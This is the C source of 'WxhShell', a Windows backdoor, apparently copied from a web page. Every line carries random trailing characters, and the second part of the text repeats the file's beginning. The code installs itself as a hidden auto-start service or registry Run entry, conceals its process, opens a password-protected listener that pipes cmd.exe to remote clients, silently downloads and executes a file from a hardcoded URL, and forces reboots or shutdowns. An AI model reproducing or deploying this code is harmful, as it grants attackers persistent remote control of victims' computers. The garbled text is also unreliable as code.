    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SQJ +C%   
    else { Mq='|0,  
    closesocket(wsh); (SMk !b]}  
    ExitThread(0); srhI%Zj  
    } dVSQG947i:  
    break; gh `]OxA  
    } \ #N))gAQ  
  // 获取shell ^p~QHS/  
  case 's': { i`5Skr:M  
    CmdShell(wsh); &Qmb?{S0  
    closesocket(wsh); $IqubC>O  
    ExitThread(0); :{9HsF"h0  
    break; av bup  
  } {f\{{JJ]  
  // 退出 %c@PTpAM  
  case 'x': { bwI"V&*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +ryB*nT  
    CloseIt(wsh); M'VJE|+t  
    break; _UV_n!R  
    } O1 !YHo  
  // 离开  (duR1Dz  
  case 'q': { kqjj&{vPFJ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3Ww 37V>h  
    closesocket(wsh); -<:w{cV  
    WSACleanup(); 85USMPF  
    exit(1); *D67&/g.  
    break; A 8g_BLj!e  
        } qJE_4/<^!  
  } eo~b]D  
  } /!%?I#K{Wq  
tn;{r  
  // 提示信息 /VD[:sU7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UrO& K]Z  
} S`Z[MNY  
  } V -_MwII-  
$o/i / wcj  
  return; ~])Q[/=p  
} ;I*N%a TK  
MDBqIL]Hc  
// shell模块句柄 ~~@dbB  
int CmdShell(SOCKET sock) _WZ{i,  
{ sR^b_/ElxT  
STARTUPINFO si; t'Zv)Wu1E  
ZeroMemory(&si,sizeof(si)); ] Upr<!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vl~HV8MAv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; UW1i%u k  
PROCESS_INFORMATION ProcessInfo; 51-'*Y  
char cmdline[]="cmd"; 97/ 4J  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); EQQ@nW{;  
  return 0; xd\ml 37~  
} ]WK~`-3C^  
6z]y =J  
// 自身启动模式 _sn<"B%>  
int StartFromService(void) jO9! :L>b`  
{ "ruYMSpU  
typedef struct 3 2"f'{  
{ T[<554  
  DWORD ExitStatus; raZkH8  
  DWORD PebBaseAddress; _5S||TuNS  
  DWORD AffinityMask; [930=rF*  
  DWORD BasePriority; wYLodMaYH  
  ULONG UniqueProcessId; l[u17,]S  
  ULONG InheritedFromUniqueProcessId; 8@b`a]lgrd  
}   PROCESS_BASIC_INFORMATION; _GM?`  
 > H&v  
PROCNTQSIP NtQueryInformationProcess; P 5.@LN  
 OO</d:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xUNq!({T  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &DjA?0`J  
N 'n0I^Y1A  
  HANDLE             hProcess; Cm]\5}Py  
  PROCESS_BASIC_INFORMATION pbi; V`9*_8Dx2  
fhyoSRLR:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j7$xHnV4  
  if(NULL == hInst ) return 0; W.%p{wB |  
8llXpe  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); NwdrJw9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >I-rsw2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *>2e4j]  
BHiG3fP  
  if (!NtQueryInformationProcess) return 0; m WHyk"l  
!p76I=H%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2%pU'D:  
  if(!hProcess) return 0; _BONN6=*y  
e*}:t H  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; UFLx'VX d  
`PUxR8y  
  CloseHandle(hProcess); s}-j.jzB{  
$j8CF3d.6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fP6\Ur  
if(hProcess==NULL) return 0; =M}tet }  
It<VjN9  
HMODULE hMod; bxzx@sF2l  
char procName[255]; HAo=t  
unsigned long cbNeeded; n 83Dt*O  
lr[T+nQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mnBTZ/ZjS  
}%AfZ 2g;h  
  CloseHandle(hProcess); A6J:!sY4A  
-ssmj8:Q\|  
if(strstr(procName,"services")) return 1; // 以服务启动 L8H:, } 2  
1wH6 hN,  
  return 0; // 注册表启动 ^>>9?  
}  F=a  
OjNOvh&N  
// 主模块 ~d3@x\I?  
int StartWxhshell(LPSTR lpCmdLine) eo@8?>}{X  
{ >ts}\.(]  
  SOCKET wsl; R]o0V*n  
BOOL val=TRUE; Z9MR"!0  
  int port=0; O}(sn  
  struct sockaddr_in door; {p$@)b  
m 9\"B3sr  
  if(wscfg.ws_autoins) Install(); sCP|d`'  
c##tP*(  
port=atoi(lpCmdLine); `.dwG3R  
Ujlbcv6+  
if(port<=0) port=wscfg.ws_port; 9HPmJ`b  
"q1S.3V;  
  WSADATA data; @t@B(1T  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8)1=5 n  
wt;`_}g  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   pQ!lY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q2)(tB= )  
  door.sin_family = AF_INET; IOF!Ra:w  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); A:D9qp  
  door.sin_port = htons(port); ^FQn\,  
=,C]d~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~kj96w4eAR  
closesocket(wsl); ?m+];SJk  
return 1; wjZ Q.T!  
} Gy;Fe=  
zGNW5S9G  
  if(listen(wsl,2) == INVALID_SOCKET) { mlLqQ<  
closesocket(wsl); 'n1$Y%t  
return 1; ZHUW1:qs  
} /hmDeP o}  
  Wxhshell(wsl); Aqz $WTHW+  
  WSACleanup(); c~ vql4  
]~VuY:abH  
return 0; fI2 y(p{?  
S8+l!$7   
} Z!Z{Gm3  
n*' :,m  
// 以NT服务方式启动 eK5~gnv,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >mpNn  
{ -;ra(L`  
DWORD   status = 0; !syyOfu`}  
  DWORD   specificError = 0xfffffff; 8a]g>g  
cH$( *k9%M  
  serviceStatus.dwServiceType     = SERVICE_WIN32; O!hp=`B,jf  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !Q<3TfC  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jcvq:i{  
  serviceStatus.dwWin32ExitCode     = 0; >R_m@$`  
  serviceStatus.dwServiceSpecificExitCode = 0; 4}t&yu<P>  
  serviceStatus.dwCheckPoint       = 0; mF!4*k  
  serviceStatus.dwWaitHint       = 0; [` }w7  
!fd>wvJ,:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 64 'QTF{D  
  if (hServiceStatusHandle==0) return; s-(c-E09  
{dP6fr1z  
status = GetLastError(); L[<Y6u>m!1  
  if (status!=NO_ERROR) %X^qWKix}m  
{ BzH0"xq^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :is2 &-|x  
    serviceStatus.dwCheckPoint       = 0; ;I80<SZ  
    serviceStatus.dwWaitHint       = 0; n%RaEL  
    serviceStatus.dwWin32ExitCode     = status; TuPD5-wB&  
    serviceStatus.dwServiceSpecificExitCode = specificError; r#_0_I1[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); e-UWbn'~  
    return; 1{]S[\F]  
  } y1~ QKz  
AZ^>osr  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0-aaLC~Z>  
  serviceStatus.dwCheckPoint       = 0; :w Y%=  
  serviceStatus.dwWaitHint       = 0; /.rj\,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ) ?B-en\  
} Z+EZ</'(a  
[`E_/95  
// 处理NT服务事件,比如:启动、停止 ^&y*=6C  
VOID WINAPI NTServiceHandler(DWORD fdwControl) uHbbPtk  
{ '@WBq!p  
switch(fdwControl) vN@04a\h  
{ ;{&4jcV*  
case SERVICE_CONTROL_STOP: N%q{CYF6  
  serviceStatus.dwWin32ExitCode = 0; ;14Q@yrZ0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; fhR u-  
  serviceStatus.dwCheckPoint   = 0; (E 8jkc  
  serviceStatus.dwWaitHint     = 0; "}%j'  
  { $sb@*K}:4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H8B.c%_|U  
  } @"98u$5  
  return; C~K/yLCAi  
case SERVICE_CONTROL_PAUSE: qK@,O \  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; y?3u6q++  
  break; `('Up?  
case SERVICE_CONTROL_CONTINUE: Au/'|%2#(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \>EUa}%xn  
  break; g2}aEfp!H  
case SERVICE_CONTROL_INTERROGATE: v;g,qO!LJ  
  break; qz Hsqlof  
}; J8@+)hn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  ]SL+ZT  
} PR(KDwsT&l  
M&",7CPD(1  
// 标准应用程序主函数 !Q%r4Nr  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z Z~t ,>  
{ #Q_<eo%lI*  
X MF? y  
// 获取操作系统版本 N!v>2"x8q  
OsIsNt=GetOsVer(); [AD%8 H  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ts@ e ,  
W$l4@A  
  // 从命令行安装 Z$m&F0g  
  if(strpbrk(lpCmdLine,"iI")) Install(); >Rdi]:]Bv  
(r'NB  
  // 下载执行文件 )PkGT~3I  
if(wscfg.ws_downexe) { )[&j&AI  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [Q6$$z92Q  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7~P!Z=m^^f  
} $gk=~p|  
Aq(,  
if(!OsIsNt) { w)YTHY (k;  
// 如果时win9x,隐藏进程并且设置为注册表启动 &?y|Pn  
HideProc(); |\"%Dy[m  
StartWxhshell(lpCmdLine); i*09m^r  
} \Km+>G  
else 7<2?NLE8*  
  if(StartFromService()) eCg|@d%D  
  // 以服务方式启动 lD _iIe~c  
  StartServiceCtrlDispatcher(DispatchTable); l#w0-n%S  
else |qf9-36   
  // 普通方式启动 *l0i}"T^_  
  StartWxhshell(lpCmdLine); GIR12%-EO  
1.~^QH\p?3  
return 0; f_hG2Sk  
} $m+Pl[s  
*_Pkb.3R  
t)(>E'X x  
8jLO-^X<<  
=========================================== s>>lf&7  
,d=Dicaz  
RzLeR%O  
Z%r8oj\n  
: 9zEne4  
:4"b(L  
"  M[R'  
1JI7P?\B  
#include <stdio.h> WS@8Z0@RD  
#include <string.h> Dl}va  
#include <windows.h> Fy_~~nI0  
#include <winsock2.h> ??P3gA  
#include <winsvc.h> sP8_Y,  
#include <urlmon.h>  |FFM Q"  
RT9%E/m  
#pragma comment (lib, "Ws2_32.lib") 2Myz[)<P_  
#pragma comment (lib, "urlmon.lib") i.ivHV~ -  
!#WJ(zSq  
#define MAX_USER   100 // 最大客户端连接数 X%B2xQM 5  
#define BUF_SOCK   200 // sock buffer @XKVdtG  
#define KEY_BUFF   255 // 输入 buffer 3);W gh6  
8{CBWXo$)  
#define REBOOT     0   // 重启 IF?  
#define SHUTDOWN   1   // 关机 $')Uie<!8  
#N\<(SD/  
#define DEF_PORT   5000 // 监听端口 #q?:Act  
K*j1Fy:  
#define REG_LEN     16   // 注册表键长度 O0mQHpi:  
#define SVC_LEN     80   // NT服务名长度 xT+@0?|F  
"+4r4  
// 从dll定义API &v+Hl ^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); cn_*,\}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LQ"xm  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -$D#u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); l W Lj==  
v(jZ[{x@  
// wxhshell配置信息 @Z9>E+udQ  
struct WSCFG { }iB>3|\  
  int ws_port;         // 监听端口  <>=abgg  
  char ws_passstr[REG_LEN]; // 口令 twPD'X!r  
  int ws_autoins;       // 安装标记, 1=yes 0=no l-[5Zl;"  
  char ws_regname[REG_LEN]; // 注册表键名 #}'sknvM}  
  char ws_svcname[REG_LEN]; // 服务名 jouT9~[L'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 T\T>\&nY+|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7I{rhA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 CH=k=)() ]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no };8PPR)\y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L0xh?B  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -$y/*'  
O'W[/\A56M  
}; 2fdC @V  
5 |oi*b  
// default Wxhshell configuration yrrP#F  
struct WSCFG wscfg={DEF_PORT, Y2y = P  
    "xuhuanlingzhe", BUEV+SZ4  
    1, mDIN%/S'  
    "Wxhshell", M0RVEhX  
    "Wxhshell", B+=Xb;p8  
            "WxhShell Service", \YF'qWB  
    "Wrsky Windows CmdShell Service", fu`|@S  
    "Please Input Your Password: ", brt` oR  
  1, ebB8.(k9G3  
  "http://www.wrsky.com/wxhshell.exe", 0J9Ub   
  "Wxhshell.exe" YoRD9M~iG~  
    }; G/}nwj\  
&vS@-K  
// 消息定义模块 ;8<lgZ9H<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Kdd5ysTQ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #TY[\$BHs  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d0 yZ9-t  
char *msg_ws_ext="\n\rExit."; [~IFg~*,  
char *msg_ws_end="\n\rQuit."; .^?Z3iA",  
char *msg_ws_boot="\n\rReboot..."; 1`EkN0iZ  
char *msg_ws_poff="\n\rShutdown..."; fmk(}  
char *msg_ws_down="\n\rSave to "; -gLU>I7wV  
n'Z5rXg  
char *msg_ws_err="\n\rErr!"; |K$EULzz  
char *msg_ws_ok="\n\rOK!"; ]Y6y ]u  
'xc=N  
char ExeFile[MAX_PATH]; o7s<G8;?  
int nUser = 0; UL\gcZ Zkl  
HANDLE handles[MAX_USER]; v@]\  P<E  
int OsIsNt; QU^?a~r  
w<=-n ;2  
SERVICE_STATUS       serviceStatus; se]QEd7]7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ln=:E$jX  
w,zgYX&  
// 函数声明 KH76Vts  
int Install(void); WEugm603  
int Uninstall(void); {FNq&)#`  
int DownloadFile(char *sURL, SOCKET wsh); r*4@S~;  
int Boot(int flag); [5jXYqD=vj  
void HideProc(void); $t42?Z=N&z  
int GetOsVer(void); eop7=!`-~~  
int Wxhshell(SOCKET wsl); C2Af$7c  
void TalkWithClient(void *cs); cP(is!  
int CmdShell(SOCKET sock); X0gWTs  
int StartFromService(void); `}&}2k  
int StartWxhshell(LPSTR lpCmdLine); LDq(WPI1#  
&$E.rgtg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )u(Dqu\t  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); bmGtYv  
GxcW^{;  
// 数据结构和表定义 5_Opx=  
SERVICE_TABLE_ENTRY DispatchTable[] = A LnE[}N6,  
{ 5Lm<3:7Q+  
{wscfg.ws_svcname, NTServiceMain}, 3r,^is  
{NULL, NULL} /s~&$(d59o  
}; \I`g[nT|  
e't1.%w  
// 自我安装 .2:S0=xt<  
int Install(void) 3k?|-js  
{ XYsU)(;j  
  char svExeFile[MAX_PATH]; ]h_V5rdX@  
  HKEY key; ]u@`XVEJ  
  strcpy(svExeFile,ExeFile); >qjV(_?F-  
[i)G:8U  
// 如果是win9x系统,修改注册表设为自启动 t:.ZvA3  
if(!OsIsNt) { Z }Z]["q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *f( e`3E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }=JuC+#~n  
  RegCloseKey(key); 05Go*QvV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rA#Ji~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y!L<& sl   
  RegCloseKey(key); G .k\N(l  
  return 0; [I7([l1Wvd  
    } jneos~ 'n8  
  } #R$[?fW  
} e.ksN  
else { ZpQ8KY$ 5  
/A~+32 B  
// 如果是NT以上系统,安装为系统服务 ZRo-=/1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0I@Cx {$  
if (schSCManager!=0) meNz0ve  
{ +zn207 .`  
  SC_HANDLE schService = CreateService @&M$oI$4*  
  ( O/2Jz  
  schSCManager, i7(\i2_P  
  wscfg.ws_svcname, vAp?Zl?g  
  wscfg.ws_svcdisp, uA2-&smw  
  SERVICE_ALL_ACCESS, ^L;k  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Q.Ljz Z  
  SERVICE_AUTO_START, i@ XFnt  
  SERVICE_ERROR_NORMAL, CHRO9  
  svExeFile, KdB9Q ;  
  NULL, (N25.}8Y  
  NULL, '=eE6=m^K  
  NULL, <FFaaGiE>  
  NULL, @:"GgkyDl#  
  NULL vswBK-w(Z  
  ); [v$NxmRu  
  if (schService!=0) #[{xEVf  
  { mjz<,s`D  
  CloseServiceHandle(schService); bP,_H  
  CloseServiceHandle(schSCManager); %!e;sL~&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); PC}m.tE  
  strcat(svExeFile,wscfg.ws_svcname); SQd`xbIuL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { iNAaTU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); HfgK0wIi  
  RegCloseKey(key); =q-HR+  
  return 0; Rr>h8Ni <  
    } hPHrq{YZ  
  } Du2v,n5@  
  CloseServiceHandle(schSCManager); !HP/`R  
} vAMr&[  
} j L[ hB  
J6Q}a7I#  
return 1; $"&U%3  
} aY7.<p*a  
H;O PA8\n  
// 自我卸载 f:-dw6a=s  
int Uninstall(void) U\Hd?&`9gz  
{ SZ m)`r\A  
  HKEY key; W=k%aB?p  
Ly$s0.!  
if(!OsIsNt) { -'OO6mU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NJglONO  
  RegDeleteValue(key,wscfg.ws_regname); h8MkfHH7{  
  RegCloseKey(key); ]XH}G9X^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JrdH6Zg  
  RegDeleteValue(key,wscfg.ws_regname); ].eY]o}=  
  RegCloseKey(key); 1#3 Qa{i  
  return 0; BsX# ~  
  } SLze) ?.  
} ?)~j>1"S  
} $ (gR^L  
else { q;V1fogqI)  
$iblLZhj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %aszZP  
if (schSCManager!=0) :9E_L2M  
{ k5@_8Rc  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); dIR6dI   
  if (schService!=0) =abth6#)  
  { )*Qa 9+ :  
  if(DeleteService(schService)!=0) { d^w*!<8  
  CloseServiceHandle(schService); : a4FO  
  CloseServiceHandle(schSCManager); :tA|g  
  return 0; Um$a9S8b&  
  } ymsqJ   
  CloseServiceHandle(schService); Mwdw7MZ"S  
  } cCjpQ  
  CloseServiceHandle(schSCManager); m9Uoq[1  
} > HL8hN'q'  
} =/Dp*  
!I? J^0T  
return 1; PUN.nt  
} D=fB&7%@  
fV;&)7d&  
// 从指定url下载文件 0P_Y6w+  
int DownloadFile(char *sURL, SOCKET wsh) QJG]z'c+  
{ 63$ R')  
  HRESULT hr; 2ju1<t,8)  
char seps[]= "/"; Lz VvUVk  
char *token; RhJL`>W`  
char *file; 2,>q(M6,EA  
char myURL[MAX_PATH]; qKL_1 ~  
char myFILE[MAX_PATH]; %V$ujun`  
N!fp;jvG  
strcpy(myURL,sURL); TLL.Ch|#Y  
  token=strtok(myURL,seps); e< Ee2pGX  
  while(token!=NULL) Z6cG<,DQ  
  { T_}\  
    file=token; QsmG(1=  
  token=strtok(NULL,seps); L#e|t0'#  
  } (!';  
Oed&B  
GetCurrentDirectory(MAX_PATH,myFILE); 7#,+Q(2  
strcat(myFILE, "\\"); (WW,]#^  
strcat(myFILE, file); "gCSbMq(Vq  
  send(wsh,myFILE,strlen(myFILE),0); B(MO!GNg=  
send(wsh,"...",3,0); |7zm!^t$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]sjOn?YA+  
  if(hr==S_OK) 2="C6 7TK  
return 0; 'FBvAk6  
else J<_&f_K0]  
return 1; l!ye\  
aAko-,URC  
} !qH=l-7A  
&%Hj.  
// 系统电源模块 )`rC"N)  
int Boot(int flag) =*'X  
{ ftq~AF  
  HANDLE hToken; 1F5F2OT$8  
  TOKEN_PRIVILEGES tkp; 33\b@F7b  
`bZ_=UAb  
  if(OsIsNt) { -o#0Yt}3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >?e*;f$VdJ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e_6 i896  
    tkp.PrivilegeCount = 1; JoZC+G  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xuelo0h,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sZ'3PNpCP  
if(flag==REBOOT) { ?NI)3-l  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %!rsu-W:Y  
  return 0; -T{~m6  
} gr=ke #   
else { hJ:Hv.{`)W  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) VH*j3  
  return 0; @F7QQs3  
} c2"eq2'BS  
  } ==(M vu`  
  else { raJyo>xXb5  
if(flag==REBOOT) { 33Mr9Doon  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3F}d,aB A  
  return 0; F{T|lTl  
} 9/s-|jD  
else { 8}\"LXRbo  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y,m H ]  
  return 0; sCb?TyN'n  
} "<O?KO 3K  
} ~[9 ]M)=O0  
!9)*.9[8  
return 1; n? s4"N6  
} 1xtbhk]D  
Vxgc|E^J  
// win9x进程隐藏模块 ^U_jeAuk8[  
void HideProc(void) 6ldDt?iSg  
{ fQx 4/4j  
R4qk/@]t  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); DTIy/  
  if ( hKernel != NULL ) 5 ?vIkf  
  { j#p3c  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); G#% =R`k/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 56':U29.]  
    FreeLibrary(hKernel); Nq~bO_-I  
  } ZRxB"a'  
i&LbSxUh9  
return; r?V|9B`$p  
} 7SqsVq`[~  
+vbNZqwz  
// 获取操作系统版本 2=3iA09px  
int GetOsVer(void) L:^'cl} G  
{ t1~*q)!Mo  
  OSVERSIONINFO winfo; #-V Kk  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w|5}V6WD  
  GetVersionEx(&winfo); Z=H f OC  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) U&eLj"XZ  
  return 1; Ns 9g>~  
  else MoF Z  
  return 0; |]]fcJOBP  
} pI^n("|  
WD)[Ac[  
// 客户端句柄模块 Ql V:8:H$  
int Wxhshell(SOCKET wsl) er<~dqZ}]  
{ (Pu*[STTT  
  SOCKET wsh; [}AcCXg`L  
  struct sockaddr_in client; TMRXl.1  
  DWORD myID; r-V./M@L  
l;;:3:  
  while(nUser<MAX_USER) W.CIyGK  
{ eeX)JC0A  
  int nSize=sizeof(client); (p2a{v}fEz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w\QpQ~OX  
  if(wsh==INVALID_SOCKET) return 1; g+CH F?O  
rj5:Y QEH;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -FPl",f=r  
if(handles[nUser]==0) x-W0 h  
  closesocket(wsh); C'$U1%: j  
else R`<E3J\*  
  nUser++; @F1pu3E  
  } bBQp:P?E  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); bIhL!Ty T.  
 +*!!  
  return 0; RcE%?2l D  
} f Gfv{4R  
~>EVI=?  
// 关闭 socket >]`x~cE.5  
void CloseIt(SOCKET wsh) C^~iz in  
{ BxG;vS3>*e  
closesocket(wsh); `<Ftn  
nUser--; K4tX4U[Z  
ExitThread(0); D *tBbV  
} 5u!cA4e"  
doa$ ;=wg  
// 客户端请求句柄 Q7s1M&K  
void TalkWithClient(void *cs) z(=:J_N  
{ =wQ=`  
%SE g(<  
  SOCKET wsh=(SOCKET)cs; 04"hQt{[  
  char pwd[SVC_LEN]; {F4:  
  char cmd[KEY_BUFF]; g$97"d'  
char chr[1];  5-J-Tn  
int i,j; Xgm7>=l  
7 D^A:f  
  while (nUser < MAX_USER) { BKTsc/v2>:  
?\yo~=N^  
if(wscfg.ws_passstr) { _`(g?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a"zoDD/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t&oNJq{  
  //ZeroMemory(pwd,KEY_BUFF); l%IOdco#  
      i=0; E5 dXu5+ye  
  while(i<SVC_LEN) { D'&L wU,o  
:z:Blp>nK/  
  // 设置超时 Mc6y'w  
  fd_set FdRead; 4>W`XH  
  struct timeval TimeOut; K$Ph$P@   
  FD_ZERO(&FdRead); izxCbbg  
  FD_SET(wsh,&FdRead); I5~DC  
  TimeOut.tv_sec=8; o?3R HP47  
  TimeOut.tv_usec=0; DjKjEZHgM  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z*)<E)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y\[=#g1(@  
7PMZt$n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^#4s/mdVO  
  pwd=chr[0]; x0d+cSw  
  if(chr[0]==0xd || chr[0]==0xa) { 'tbb"MEi4  
  pwd=0; 76m[o  
  break; fin15k  
  } w9FI*30  
  i++; 3%} Ma,  
    } cm]]9z_<  
A>?fbY2n  
  // 如果是非法用户,关闭 socket oxzNV&D[{`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7I|%GA_  
} gU?)  
1 W0;YcT]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0D'Wr(U(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TU/J]'))C  
aPC!M4#  
while(1) { Vo%d;>!G\;  
H@zk8]_P  
  ZeroMemory(cmd,KEY_BUFF); _x!pM j(A  
9ZBF1sMg  
      // 自动支持客户端 telnet标准   [a3 0iE  
  j=0; "jHN#}  
  while(j<KEY_BUFF) { CytpL`&^]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pR"qPSv'  
  cmd[j]=chr[0]; -db+Y:xUZ  
  if(chr[0]==0xa || chr[0]==0xd) { I?K0bs+6  
  cmd[j]=0; cGp^;> ]M  
  break;  q0~_D8e,  
  } p{rS -`I  
  j++; xeI{i{8  
    } 2]+.8G7D%  
-)oBh  
  // 下载文件 a5-\=0L~  
  if(strstr(cmd,"http://")) { my1kF%?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ng*%1;P  
  if(DownloadFile(cmd,wsh)) =r~. I  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,<1*  
  else 6"7qZq  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z'lNO| nU  
  } ))`Zv=y"  
  else { 7mM;Q  
O[ !o1.  
    switch(cmd[0]) { %U GlAyj  
  >v[(w1?rX  
